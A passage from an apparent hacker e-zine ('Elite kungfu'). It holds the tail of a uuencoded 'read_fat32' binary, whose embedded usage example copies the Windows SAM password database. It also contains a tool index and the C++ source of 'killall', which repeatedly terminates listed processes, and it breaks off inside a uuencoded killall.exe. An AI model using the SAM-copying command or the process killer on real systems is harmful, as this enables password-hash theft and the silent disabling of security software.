M)`AJ`/\UH+]``/\5J(!``%[#:@+H6;?__UG#S,S,BU0D#(M,)`2%TG1/,\"*
M1"0(5XOY@_H$<C'WV8/A`W0,*]&(!X/'`8/I`77VB\C!X`@#P8O(P>`0`\&+
MRH/B`\'I`G0&\ZN%TG0*B`>#QP&#Z@%U]HM$)`A?PXM$)`3#58OLN`@0``#H
M@^K__Z%`H$``,T4$4XM="%8S]CL=0*Y``(E%_`^#%0$``(O#P?@%BP2%8*Y`
M`(O+@^$?]D3(!`$/A/D```!J`593Z"3`__^#Q`R#^/^)1?@/A.L```!J`E93
MZ`S`__^#Q`R#^/\/A-8```!7BWT,*_B%_WYO:``0``"-A?CO__]64.@0____
M:`"```!3Z"4'``"#Q!2)10BX`!```#OX?0*+QU"-A?CO__]04^C<T/__@\0,
M@_C_=`@K^(7_?]GK%H,]H*=```5U"L<%G*=```T```"#SO__=0A3Z-<&``!9
M6>M`?3YJ`/]U#%/H>K___U/HNNS__X/$$%#_%:R`0`"+\/?>&_;WWDZ#_O]U
M%<<%G*=```T```#_%1R`0`"CH*=``&H`_W7X4^@\O___@\0,B\9?ZPW'!9RG
M0``)````@\C_BTW\,TT$7EOH9+3__\G#58OL4U9756H`:@!HA&Q``/]U".@2
M"P``75]>6XOE7<.+3"0$]T$$!@```+@!````=`^+1"0(BU0D$(D"N`,```##
M4U97BT0D$%!J_FB,;$``9/\U`````&2))0````"+1"0@BU@(BW`,@_[_="X[
M="0D="B--':+#+.)3"0(B4@,@WRS!`!U$F@!`0``BT2S".A`````_U2S".O#
M9(\%`````(/$#%]>6\,SP&2+#0````"!>02,;$``=1"+40R+4@PY40AU!;@!
M````PU-1NW"G0`#K"E-1NW"G0`"+30B)2PB)0P2):PQ96\($`&HX:-"/0`#H
MHM[__S/;.1U<J4``=3A34S/V1E9HS(]``&@``0``4_\5O(!``(7`=`B)-5RI
M0`#K%?\5'(!``(/X>'4*QP5<J4```@```#E=%'X;BTT4BT4023@8=`A`.\MU
M]H/)_X/(_RO!`444H5RI0`"#^`(/A-P!```[PP^$U`$``(/X`0^%_@$``#/_
MB7WDB5W@B5W<.5T@=0BA4*E``(E%(%-3_W44_W40,\`Y720/E<"-!,4!````
M4/]U(/\5N(!``(OPB778._,/A+@!``#'1?P!````C00V@\`#@^#\Z%[G__^)
M9>B+Q(E%U(--_/_K&S/`0,.+9>CH`P<``#/;B5W4@TW\_XM]Y(MUV#E=U'4<
MC00V4.CPK?__68E%U#O##X1@`0``QT7@`0```%;_==3_=13_=1!J`?]U(/\5
MN(!``(7`#X3F````4U-6_W74_W4,_W4(_Q6\@$``B_B)?>0[^P^$QP```/9%
M#01T+3E='`^$N````#M]'`^/KP```/]U'/]U&%;_==3_=0S_=0C_%;R`0`#I
ME````,=%_`(```"-!#^#P`.#X/SHD.;__XEEZ(O$B470@TW\_^L;,\!`PXME
MZ.@U!@``,]N)7="#3?S_BWWDBW78.5W0=1B-!#]0Z"*M__]9B470.\-T0,=%
MW`$```!7_W705O]UU/]U#/]U"/\5O(!``(7`="%34SE=''4$4U/K!O]U'/]U
M&%?_==!3_W4@_Q5X@$``B_@Y7=QT"?]UT.CHKO__63E=X'0)_W74Z-JN__]9
MB\?I6P$``(E=S#/_B5W(.5T(=0BA0*E``(E%"#E=('4(H5"I0`")12#_=0CH
M:P,``%F)1<2#^/]U!S/`Z2$!```[12`/A.X```!34XU-%%'_=1!0_W4@Z(D#
M``"#Q!B)1<P[PW344U/_=110_W4,_W4(_Q6T@$``B_")=<`[\P^$H@```(E=
M_(/``X/@_.ABY?__B67HB_R)?;Q64U?H8OK__X/$#.L0,\!`PXMEZ.@`!0``
M,]LS_X--_/\[^W4C_W7`Z/:K__]9B_@[^W0Q_W7`4U?H+/K__X/$#,=%R`$`
M``#_=<!7_W44_W7,_W4,_W4(_Q6T@$``B47`.\-U!#/VZR;_=1S_=1B-1<!0
M5_]U(/]UQ.C+`@``@\08B_#WWAOV]][K`XMUN#E=R'0C5^BDK?__6>L:_W4<
M_W48_W44_W40_W4,_W4(_Q6T@$``B_`Y7<QT"?]US.AZK?__68O&C66LZ"[;
M___#:AQH^(]``.CFVO__,_8Y-6"I0`!U-8U%Y%`S_T=7:,R/0`!7_Q7$@$``
MA<!T"(D]8*E``.L5_Q4<@$``@_AX=0K'!6"I0``"````H6"I0`"#^`(/A.H`
M```[Q@^$X@```(/X`0^%_P```(EUX(EUW#EU&'4(H5"I0`")11A65O]U$/]U
M##/`.74@#Y7`C03%`0```%#_=1C_%;B`0`"+^(E]V(7_#X2^````@V7\`(T<
M/XO#@\`#@^#\Z,OC__^)9>B+](EUU%-J`%;HROC__X/$#(--_/_K%3/`0,.+
M9>CH9`,``#/V@TW\_XM]V(7V=1=7:@+HY>W__UE9B_"%]G1GQT7<`0```%=6
M_W40_W4,:@'_=1C_%;B`0`"%P'01_W444%;_=0C_%<2`0`")1>"#?=P`=`=6
MZ#&L__]9BT7@ZVZ+71P[WG4&BQU`J4``BWT8A?]U!HL]4*E``%/HS@```%F#
M^/]U!#/`ZT0[QW0>:@!J`(U-$%'_=0Q05^CW````@\08B_"%]G3=B74,_W44
M_W40_W4,_W4(4_\5P(!``(OXA?9T!U;HP*O__UF+QXUER.ATV?__PXM$)`0[
M!4"N0`!6<UN+R,'Y!8L,C6"N0`"#X!^-5,$$B@KVP0%T03/`BL&^`(```"6`
M````.70D#'4%@.%_ZPV!?"0,`$```'42@,F`]]@;P"4`P/__`\:("E[#QP6<
MIT``%@```.L*QP6<IT``"0```(/(_U[#58OL@^P,H4"@0``S102`9?H`:@:)
M1?R-1?10:`00``#_=0C_%<B`0`"%P'4%@\C_ZPJ-1?10Z*X"``!9BTW\,TT$
MZ$"M___)PVHX:`B00`#H;-C__Z%`H$``,T4$B47D,_^)?>")?=R+112+&(E=
MV(E]U(M%"#M%#`^$<P$``(U-P%%0BS6D@$``_]:%P'0@@WW``74:C47`4/]U
M#/_6A<!T#8-]P`%U!\=%U`$````Y?=1T&H/[_W0$B_/K#/]U$.CST___68OP
M1HEUO.L#BW6\.7W4=1I75U/_=1!J`?]U"/\5N(!``(OPB76\._=T6(E]_(T$
M-H/``X/@_.A7X?__B67HB]R)7;B-!#905U/H5/;__X/$#(--_/_K%S/`0,.+
M9>CH[@```#/_,]N#3?S_BW6\.]]U'E9J`NAMZ___65F+V#O?=0<SP.FT````
MQT7<`0```%93_W78_W40:@'_=0C_%;B`0`"%P`^$@P```#E]&'0@5U?_=1S_
M=1A64U?_=0S_%7B`0`"%P'1FBT48B47@ZUXY?=1U%E=75U=64U?_=0S_%7B`
M0`"+\#OW=$-6:@'H].K__UE9B47@.\=T,E=75E!64U?_=0S_%7B`0``[QW4.
M_W7@Z%ZI__]9B7W@ZQ"#?=C_=`J+312)`>L#BUVX.7W<=`=3Z#VI__]9BT7@
MC66LBTWD,TT$Z'6K___HY=;__\-5B^R#[$A35E=J!%CH,.#__XO<:AR-1=Q0
M4_\5U(!``(7`='&+?>"-1;A0_Q70@$``BT6\C7#_]]8C\ROPB47\H:BG0`"+
MR$GWV1O)@>$`$/__@<$`$`$``\\[\7(W@_@!=$J+W[\`$```:AR-1=Q04_\5
MU(!``(7`=!H#7>B%?>QTY_9%\0&+7=QT!3/`0.LX._-S!#/`ZS!J!%?_=?Q3
M_Q5`@$``H:BG0`#K`HO>2/?8&\`E`P$``(U-^%%`4/]U_%/_%<R`0`"-9:Q?
M7EO)PU:+="0(ZP%&#[8&4.A'````A<!9=?$/M@Y&@_DMB]%T!8/Y*W4$#[8.
M1C/`@_DP?`J#^3E_!8/I,.L#@\G_@_G_=`R-!("-!$$/M@Y&Z]V#^BU>=0+W
MV,-5B^Q1BTT(@?G_````=EYF@V7\`%<SP(U]_F:KB\'!Z`B#/1"L0```B$4*
MB$T+7W4$,\#)PVH!_S4,K$``C47\_S4DK4``4&H"C44*4&H!Z#KZ__^#Q!R%
MP'369H-]_@!US_9%_`ATR3/`0,G#@SU<IT```7X,:@A1Z!(```!96<G#H5BF
M0``/M@1(@^`(R<-5B^Q1BT4(C4@!@?D``0``=PR+#5BF0``/MP1!ZUN+R,'Y
M"%:+-5BF0``/MM'V1%8!@%YT#X!E_@!J`HA%_8A-_%CK"H!E_0"(1?PSP$!J
M`?\U0*E``(U-"O\U4*E``%%0C47\4&H!Z)+Y__^#Q!R%P'4"R<,/MT4*(T4,
MR</_);"`0```````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````<)$``'R1``"*D0``EI$``*21``"XD0``RI$`
M`-J1``#JD0``]I$```B2```<D@``,)(``$*2``!0D@``7I(``&R2``!\D@``
MBI(``):2``"PD@``P)(``-:2``#LD@``!I,``!R3```LDP``2),``&*3``!Z
MDP``E),``*J3``#$DP``UI,``.23``#VDP``!I0``!J4```HE```.)0``$*4
M``!.E```6I0``&:4``!VE```@I0``)*4``"HE```N)0``,J4``#<E```[I0`
M``"5```0E0``````````````````>>,Z0@`````"````1P```!20```4?```
M9FEL96!S(&9I<G-T(&-L=7-T97(@+2`P>"58("XN(`!.;R!S=6-H(&9I;&4A
M"@``;F]T('9A;&ED(&YA;64*`&]P96X@;W5T9FEL90````!W8@``97AA;7!L
M93H*<F5A9%]F870S,B`M9"!C.B`M:2`O=VEN9&]W<R]S>7-T96TS,B]C;VYF
M:6<O<V%M("UO(&,Z7'-A;0H`````<F5A9%]F870S,B`M9"`\9')I=F4@;&5T
M=&5R/B`M:2`\<&%T:"!T;R!P<F]T96-T960@9FEL93X@+6\@/&]U='!U="!F
M:6QE(&YA;64^"@!296%D("5D(&-L=7-T97)S"@```&9A=#,R7W)E861?9FEL
M90!O<&5N(&9I;&4```!R8@``7%PN7``````*````.B````````#_____NB!`
M`+X@0```````_____[,C0`#'(T``0V]R17AI=%!R;V-E<W,``&US8V]R964N
M9&QL``8```8``0``$``#!@`&`A`$145%!04%!04U,`!0`````"`H.%!8!P@`
M-S`P5U`'```@(`@`````"&!H8&!@8```<'!X>'AX"`<(```'``@("```"``(
M``<(````*`!N`'4`;`!L`"D``````"AN=6QL*0``26QL96=A;"!B>71E('-E
M<75E;F-E````1&ER96-T;W)Y(&YO="!E;7!T>0!&=6YC=&EO;B!N;W0@:6UP
M;&5M96YT960`````3F\@;&]C:W,@879A:6QA8FQE``!&:6QE;F%M92!T;V\@
M;&]N9P```%)E<V]U<F-E(&1E861L;V-K(&%V;VED960```!297-U;'0@=&]O
M(&QA<F=E`````$1O;6%I;B!E<G)O<@````!"<F]K96X@<&EP90!4;V\@;6%N
M>2!L:6YK<P``4F5A9"UO;FQY(&9I;&4@<WES=&5M````26YV86QI9"!S965K
M`````$YO('-P86-E(&QE9G0@;VX@9&5V:6-E`$9I;&4@=&]O(&QA<F=E``!)
M;F%P<')O<')I871E($DO3R!C;VYT<F]L(&]P97)A=&EO;@!4;V\@;6%N>2!O
M<&5N(&9I;&5S`%1O;R!M86YY(&]P96X@9FEL97,@:6X@<WES=&5M````26YV
M86QI9"!A<F=U;65N=`````!)<R!A(&1I<F5C=&]R>0``3F]T(&$@9&ER96-T
M;W)Y`$YO('-U8V@@9&5V:6-E``!);7!R;W!E<B!L:6YK````1FEL92!E>&ES
M=',`4F5S;W5R8V4@9&5V:6-E`%5N:VYO=VX@97)R;W(```!"860@861D<F5S
M<P!097)M:7-S:6]N(&1E;FEE9````$YO="!E;F]U9V@@<W!A8V4`````4F5S
M;W5R8V4@=&5M<&]R87)I;'D@=6YA=F%I;&%B;&4`````3F\@8VAI;&0@<')O
M8V5S<V5S``!"860@9FEL92!D97-C<FEP=&]R`$5X96,@9F]R;6%T(&5R<F]R
M````07)G(&QI<W0@=&]O(&QO;F<```!.;R!S=6-H(&1E=FEC92!O<B!A9&1R
M97-S````26YP=70O;W5T<'5T(&5R<F]R``!);G1E<G)U<'1E9"!F=6YC=&EO
M;B!C86QL````3F\@<W5C:"!P<F]C97-S`$YO('-U8V@@9FEL92!O<B!D:7)E
M8W1O<GD```!/<&5R871I;VX@;F]T('!E<FUI='1E9`!.;R!E<G)O<@````!-
M:6-R;W-O9G0@5FES=6%L($,K*R!2=6YT:6UE($QI8G)A<GD`````4')O9W)A
M;3H@````"@H``"XN+@`\<')O9W)A;2!N86UE('5N:VYO=VX^``!!(&)U9F9E
M<B!O=F5R<G5N(&AA<R!B965N(&1E=&5C=&5D('=H:6-H(&AA<R!C;W)R=7!T
M960@=&AE('!R;V=R86TG<PII;G1E<FYA;"!S=&%T92X@(%1H92!P<F]G<F%M
M(&-A;FYO="!S869E;'D@8V]N=&EN=64@97AE8W5T:6]N(&%N9"!M=7-T"FYO
M=R!B92!T97)M:6YA=&5D+@H`0G5F9F5R(&]V97)R=6X@9&5T96-T960A````
M``````!!('-E8W5R:71Y(&5R<F]R(&]F('5N:VYO=VX@8V%U<V4@:&%S(&)E
M96X@9&5T96-T960@=VAI8V@@:&%S"F-O<G)U<'1E9"!T:&4@<')O9W)A;2=S
M(&EN=&5R;F%L('-T871E+B`@5&AE('!R;V=R86T@8V%N;F]T('-A9F5L>0IC
M;VYT:6YU92!E>&5C=71I;VX@86YD(&UU<W0@;F]W(&)E('1E<FUI;F%T960N
M"@````!5;FMN;W=N('-E8W5R:71Y(&9A:6QU<F4@9&5T96-T960A``#_____
M]DI``/I*0`!R=6YT:6UE(&5R<F]R(```#0H``%1,3U-3(&5R<F]R#0H```!3
M24Y'(&5R<F]R#0H`````1$]-04E.(&5R<F]R#0H``%(V,#(X#0HM('5N86)L
M92!T;R!I;FET:6%L:7IE(&AE87`-"@````!2-C`R-PT*+2!N;W0@96YO=6=H
M('-P86-E(&9O<B!L;W=I;R!I;FET:6%L:7IA=&EO;@T*`````%(V,#(V#0HM
M(&YO="!E;F]U9V@@<W!A8V4@9F]R('-T9&EO(&EN:71I86QI>F%T:6]N#0H`
M````4C8P,C4-"BT@<'5R92!V:7)T=6%L(&9U;F-T:6]N(&-A;&P-"@```%(V
M,#(T#0HM(&YO="!E;F]U9V@@<W!A8V4@9F]R(%]O;F5X:70O871E>&ET('1A
M8FQE#0H`````4C8P,3D-"BT@=6YA8FQE('1O(&]P96X@8V]N<V]L92!D979I
M8V4-"@````!2-C`Q.`T*+2!U;F5X<&5C=&5D(&AE87`@97)R;W(-"@````!2
M-C`Q-PT*+2!U;F5X<&5C=&5D(&UU;'1I=&AR96%D(&QO8VL@97)R;W(-"@``
M``!2-C`Q-@T*+2!N;W0@96YO=6=H('-P86-E(&9O<B!T:')E860@9&%T80T*
M```````-"E1H:7,@87!P;&EC871I;VX@:&%S(')E<75E<W1E9"!T:&4@4G5N
M=&EM92!T;R!T97)M:6YA=&4@:70@:6X@86X@=6YU<W5A;"!W87DN"E!L96%S
M92!C;VYT86-T('1H92!A<'!L:6-A=&EO;B=S('-U<'!O<G0@=&5A;2!F;W(@
M;6]R92!I;F9O<FUA=&EO;BX-"@```%(V,#`Y#0HM(&YO="!E;F]U9V@@<W!A
M8V4@9F]R(&5N=FER;VYM96YT#0H`4C8P,#@-"BT@;F]T(&5N;W5G:"!S<&%C
M92!F;W(@87)G=6UE;G1S#0H```!2-C`P,@T*+2!F;&]A=&EN9R!P;VEN="!N
M;W0@;&]A9&5D#0H`````4G5N=&EM92!%<G)O<B$*"E!R;V=R86TZ(```````
M``#_____1%5``$A50```````_____XA50`",54``````````(``@`"``(``@
M`"``(``@`"``*``H`"@`*``H`"``(``@`"``(``@`"``(``@`"``(``@`"``
M(``@`"``(``@`$@`$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``A`"$
M`(0`A`"$`(0`A`"$`(0`A``0`!``$``0`!``$``0`($`@0"!`($`@0"!``$`
M`0`!``$``0`!``$``0`!``$``0`!``$``0`!``$``0`!``$``0`0`!``$``0
M`!``$`""`((`@@""`((`@@`"``(``@`"``(``@`"``(``@`"``(``@`"``(`
M`@`"``(``@`"``(`$``0`!``$``@````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M`````````````````````"``(``@`"``(``@`"``(``@`&@`*``H`"@`*``@
M`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(`!(`!``$``0`!``
M$``0`!``$``0`!``$``0`!``$``0`(0`A`"$`(0`A`"$`(0`A`"$`(0`$``0
M`!``$``0`!``$`"!`8$!@0&!`8$!@0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!
M`0$!`0$!`0$!`0$!`0$!`0$!$``0`!``$``0`!``@@&"`8(!@@&"`8(!`@$"
M`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`1``$``0`!``
M(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@`"``(``@
M`"``(``@`"``(``@`"``(``@`"``2``0`!``$``0`!``$``0`!``$``0`!``
M$``0`!``$``0`!``%``4`!``$``0`!``$``4`!``$``0`!``$``0``$!`0$!
M`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$!`0$0``$!
M`0$!`0$!`0$!`0$!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"`0(!`@$"
M`0(!`@$"`0(!`@$"`0(!$``"`0(!`@$"`0(!`@$"`0(!`0%'9710<F]C97-S
M5VEN9&]W4W1A=&EO;@!'9715<V5R3V)J96-T26YF;W)M871I;VY!````1V5T
M3&%S=$%C=&EV95!O<'5P``!'971!8W1I=F57:6YD;W<`365S<V%G94)O>$$`
M=7-E<C,R+F1L;````````/____]3<$``5W!``/____]0;D``5&Y``/____\>
M;T``(F]```````#_____[W%``/-Q0```````_____V5T0`!I=$``4E-$4^_C
MV<K<,;=,@\&NO\(7S<@!````9#I<<')O9W-<8W!P7')E861?9F%T,S)<4F5L
M96%S95QR96%D7V9A=#,R+G!D8@```````````````````````)20````````
M`````""5````@`````````````````````````````!PD0``?)$``(J1``"6
MD0``I)$``+B1``#*D0``VI$``.J1``#VD0``")(``!R2```PD@``0I(``%"2
M``!>D@``;)(``'R2``"*D@``EI(``+"2``#`D@``UI(``.R2```&DP``'),`
M`"R3``!(DP``8I,``'J3``"4DP``JI,``,23``#6DP``Y),``/:3```&E```
M&I0``"B4```XE```0I0``$Z4``!:E```9I0``':4``""E```DI0``*B4``"X
ME```RI0``-R4``#NE````)4``!"5````````[P%(96%P06QL;V,`^0%(96%P
M4F5!;&QO8P#U`4AE87!&<F5E``"K`$5X:710<F]C97-S`&<!1V5T36]D=6QE
M2&%N9&QE00``_0!'971#;VUM86YD3&EN94$`R`%'971697)S:6]N17A!`%H!
M1V5T3&%S=$5R<F]R``"0`E)E861&:6QE``")`4=E=%!R;V-!9&1R97-S```Q
M`U1E<FUI;F%T95!R;V-E<W,``"\!1V5T0W5R<F5N=%!R;V-E<W,`\0)3971&
M:6QE4&]I;G1E<@``\P%(96%P1&5S=')O>0#Q`4AE87!#<F5A=&4``%@#5FER
M='5A;$9R964`50-6:7)T=6%L06QL;V,``"P`0VQO<V5(86YD;&4`=@-7<FET
M949I;&4`?@)1=65R>5!E<F9O<FUA;F-E0V]U;G1E<@"^`4=E=%1I8VM#;W5N
M=```,@%'971#=7)R96YT5&AR96%D260``#`!1V5T0W5R<F5N=%!R;V-E<W-)
M9`"L`4=E=%-Y<W1E;51I;65!<T9I;&54:6UE`&4!1V5T36]D=6QE1FEL94YA
M;65!``">`4=E=%-T9$AA;F1L90``0@-5;FAA;F1L961%>&-E<'1I;VY&:6QT
M97(``.,`1G)E945N=FER;VYM96YT4W1R:6YG<T$`/P%'971%;G9I<F]N;65N
M=%-T<FEN9W,`Y`!&<F5E16YV:7)O;FUE;G13=')I;F=S5P!I`U=I9&5#:&%R
M5&]-=6QT:4)Y=&4`00%'971%;G9I<F]N;65N=%-T<FEN9W-7``#Z`E-E=$AA
M;F1L94-O=6YT``!0`4=E=$9I;&54>7!E`)P!1V5T4W1A<G1U<$EN9F]!``P#
M4V5T4W1D2&%N9&QE``#;`$9L=7-H1FEL94)U9F9E<G,``$H`0W)E871E1FEL
M94$`+@),;V%D3&EB<F%R>4$``.L`1V5T04-0``!\`4=E=$]%34-0``#Q`$=E
M=$-026YF;P#[`4AE87!3:7IE``#H`E-E=$5N9$]F1FEL90``L0)2=&Q5;G=I
M;F0`(`),0TUA<%-T<FEN9T$``%$"375L=&E">71E5&]7:61E0VAA<@`A`DQ#
M36%P4W1R:6YG5P``GP%'9713=')I;F=4>7!E00``H@%'9713=')I;F=4>7!E
M5P``70%'971,;V-A;&5);F9O00``6P-6:7)T=6%L4')O=&5C=```J`%'9713
M>7-T96U);F9O`%T#5FER='5A;%%U97)Y``!+15).14PS,BYD;&P`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M``````````````````````````````````````!E2D````````````!!1T``
M%%=``$YJ0````````````.='0`````````````````````````````````!.
MYD"[````````````````52M```$``````````````!````#4@D``Q()`````
M``"`KT```````("O0``!`0``````````````$```````````````````````
M``(````!`````````````````````````````````````@````(`````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````"(9``/"%0`#4A4``Q(5``*B%0`"4A4``>(5``&2%0`!0
MA4``/(5``"B%0``$A4``\(1``-R$0`#0A$``P(1``+"$0`"DA$``E(1``(2$
M0`!TA$``9(1``%"$0``PA$``'(1``/B#0`#`A$``Z(-``-"#0`#`@T``J(-`
M`)B#0`",@T``?(-``&B#0`#`A$``3(-``,"$0``X@T``)(-```B#0`#T@D``
MW()``,"$0``K`````````````````````@```.B*0``(````O(I```D```"0
MBD``"@```/B)0``0````R(E``!$```"8B4``$@```'2)0``3````2(E``!@`
M```0B4``&0```.B(0``:````L(A``!L```!XB$``'````%"(0`!X````0(A`
M`'D````PB$``>@```""(0`#\````'(A``/\````,B$``!0``P`L`````````
M'0``P`0`````````E@``P`0`````````C0``P`@`````````C@``P`@`````
M````CP``P`@`````````D```P`@`````````D0``P`@`````````D@``P`@`
M````````DP``P`@``````````P````<````*````C````/____^`"@```0``
M`!8````"`````@````,````"````!````!@````%````#0````8````)````
M!P````P````(````#`````D````,````"@````<````+````"`````P````6
M````#0```!8````/`````@```!`````-````$0```!(````2`````@```"$`
M```-````-0````(```!!````#0```$,````"````4````!$```!2````#0``
M`%,````-````5P```!8```!9````"P```&P````-````;0```"````!P````
M'````'(````)````!@```!8```"`````"@```($````*````@@````D```"#
M````%@```(0````-````D0```"D```">````#0```*$````"````I`````L`
M``"G````#0```+<````1````S@````(```#7````"P```!@'```,````````
M``````"D:D``I&I``*1J0`"D:D``I&I``*1J0`!2BT``6HU```$"!`@`````
MI`,``&"">8(A`````````*;?````````H:4```````"!G^#\`````$!^@/P`
M````J`,``,&CVJ,@``````````````````````````````"!_@```````$#^
M````````M0,``,&CVJ,@``````````````````````````````"!_@``````
M`$'^````````M@,``,^BY*(:`.6BZ*);``````````````````````"!_@``
M`````$!^H?X`````404``%':7MH@`%_::MHR``````````````````````"!
MT]C>X/D``#%^@?X``````0````$````N`````0``````````````(`63&0``
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
#````
`
end
sum -r/size 64331/35328
 ---< cut here >---




                 ,$$$;$!$$$$$$$$$$$$$$$$!$$$$$$$$$!$$$$.
                 %;'                                 `;%
                               Elite kungfu
                 %;.                                 ,;%
                 `$$$$$$;$!$$$$$$$$$$$$$$$$$$$$$$$!$$$$'




    I. killall.cpp by shmel
   II. encode.py by best_mowi
  III. rexecd.py, rexecc.py by best_mowi
   IV. glw.py by best_mowi
    V. ips.asm by shmel
   VI. suber.py by best_mowi

    I. killall.cpp by shmel

    I.I killall.cpp

 ---< cut here >---
/*
*
* killall,
* Copyright (c) 2004 Shmel. All rights reserved.
*
* Program demonstrate usage of tool help library 
* snapshot functions
*
* What it doing:
* 1) Scan all processes running at current time.
* 2) Kill processes listed in  processes.lst file.
* 3) Sleep 5 min, goto 1.
*
*/

#include <stdio.h>
#include <string.h>

#include <windows.h>
#include <tlhelp32.h>

char *process_list[256];

void load_proc_list(void)
{
  int ptr = 0;
  FILE *fp = fopen("processes.lst", "r");

  if (!fp)
  {
    MessageBox(NULL, "Can't locate file \"processes.lst\"", NULL, \
      MB_ICONERROR);
    exit(1);
  }

  while(!feof(fp))
  {
    process_list[ptr] = new char[256];
    if (!fgets(process_list[ptr], 256, fp))
    {
      process_list[ptr] = NULL;
      return;
    }
    int len = strlen(process_list[ptr]);
    if (process_list[ptr][len - 1] == '\n')
      process_list[ptr][len - 1] = '\0';
    ptr++;
  }
  process_list[++ptr] = NULL;
  fclose(fp);
}

bool cmp(char *str)
{
  int i = 0;

  while (process_list[i]) 
    if (!strcmpi(str, process_list[i++]))
      return true;
  return false;
}

int kill(int proc_id)
{
  HANDLE hp = OpenProcess(PROCESS_TERMINATE, FALSE, proc_id);
  TerminateProcess(hp, 0);
  return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
  int ptr = 0;
  LPPROCESSENTRY32 lppe = new PROCESSENTRY32;
  HANDLE hSnapshot;
  
  load_proc_list();

  while(1)
  {
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    lppe->dwSize  = sizeof(PROCESSENTRY32);
    Process32First(hSnapshot, lppe);

    while (Process32Next(hSnapshot, lppe))
    {
      if (cmp(lppe->szExeFile))
      {
        kill(lppe->th32ProcessID);
      }
    }

    CloseHandle(hSnapshot);
    Sleep(1000*60*5); // sleep 5 min
  }

  return 0;
}
 ---< cut here >---

    I.II example of processes.lst file

 ---< cut here >---
notepad.exe
calc.exe
 ---< cut here >---

    I.III uue encoded killall.exe

 ---< cut here >---
begin 644 killall.exe
M35J0``,````$````__\``+@`````````0```````````````````````````
M````````````````````X`````X?N@X`M`G-(;@!3,TA5&AI<R!P<F]G<F%M
M(&-A;FYO="!B92!R=6X@:6X@1$]3(&UO9&4N#0T*)`````````"$0=Z#P""P
MT,`@L-#`(+#0.@2LT/T@L-`Z!/#0S""PT`H#E]#"(+#[email protected],4@L-#`(+'0
M_2"PT#H$K=#$(+#0.@2-T,$@L-!2:6-HP""PT`````````````````````!0
M10``3`$#`"PH2$(``````````.``#P$+`0<``%````!0````````J10````0
M````8`````!````0````$```!``````````$``````````"P````$```````
M``(``````!```!``````$```$````````!```````````````'QK```\````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````8```^```````
M`````````````````````````````"YT97AT````3D\````0````4````!``
M`````````````````"```&`N<F1A=&$``-P0````8````"````!@````````
M``````````!```!`+F1A=&$````8(````(`````0````@```````````````
M````0```P```````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
